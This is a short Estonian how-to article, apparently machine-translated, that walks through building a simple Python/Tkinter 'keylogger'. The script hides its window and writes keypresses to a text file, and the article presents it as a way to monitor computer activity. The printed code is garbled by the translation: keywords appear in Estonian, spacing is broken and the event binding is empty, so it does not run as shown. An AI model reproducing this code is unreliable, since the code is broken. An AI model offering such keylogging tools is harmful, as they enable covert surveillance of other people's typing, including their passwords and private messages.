Kuidas Pythoni abil Keyloggerit luua

Naine arvuti taga vaatab üle õla

Jäädvustage klahvivajutused ja salvestage need faili.

Pildi krediit: Jupiterimages/Photos.com/Getty Images

Pythoni abil saate luua klahvilogija programmi, et jäädvustada arvuti klaviatuuriga sisestatud klahvivajutused. Klahvivajutused salvestatakse tekstifaili ja see salvestab kogu sisendi. Arvuti tegevuse jälgimiseks saate kasutada võtmelogerit.

Samm 1

Käivitage IDLE, klõpsake menüül "Fail" ja valige uue akna avamiseks "Uus aken". Akna "Salvesta nimega" käivitamiseks vajutage Ctrl ja S. Kasutage failinimena "getKeyLogger" ja klõpsake "Salvesta".

Päeva video

2. samm

Lisage "Tkinteri" nimeruumi importimiseks järgmine koodirida ja määrake logimiseks kasutatava faili tee:

import Tkinter kui tk myFile = open("C:/temp/keyFile.txt", "w")

3. samm

Iga klahvivajutuse faili salvestamiseks kopeerige ja kleepige järgmine kood:

def-klahvivajutus (sündmus): if event.keysym == 'Escape': main.destroy() keyPressed = event.char myFile.write (keyPressed)

4. samm

Lisage järgmine kood, et kasutaja saaks teada, et ta saab alustada tippimist ja vajutada programmi lõpetamiseks klahvi Esc:

peamine = tk. Tk() print "Väljumiseks vajutage suvalist klahvi (Escape-klahv):" main.bind_all('', klahvivajutus) main.withdraw() main.mainloop() myFile.close()

5. samm

Klõpsake nuppu "Windows" ja tippige väljale "Otsi programme ja faile" "cmd". Käsurea avamiseks vajutage sisestusklahvi. Minge jaotisse "C:\Python" ja tippige "python getKeyLogger." Programmi käivitamiseks vajutage sisestusklahvi. Avage "C:/temp/" ja topeltklõpsake failil "keyFile.txt", et vaadata klahvivajutuste andmeid.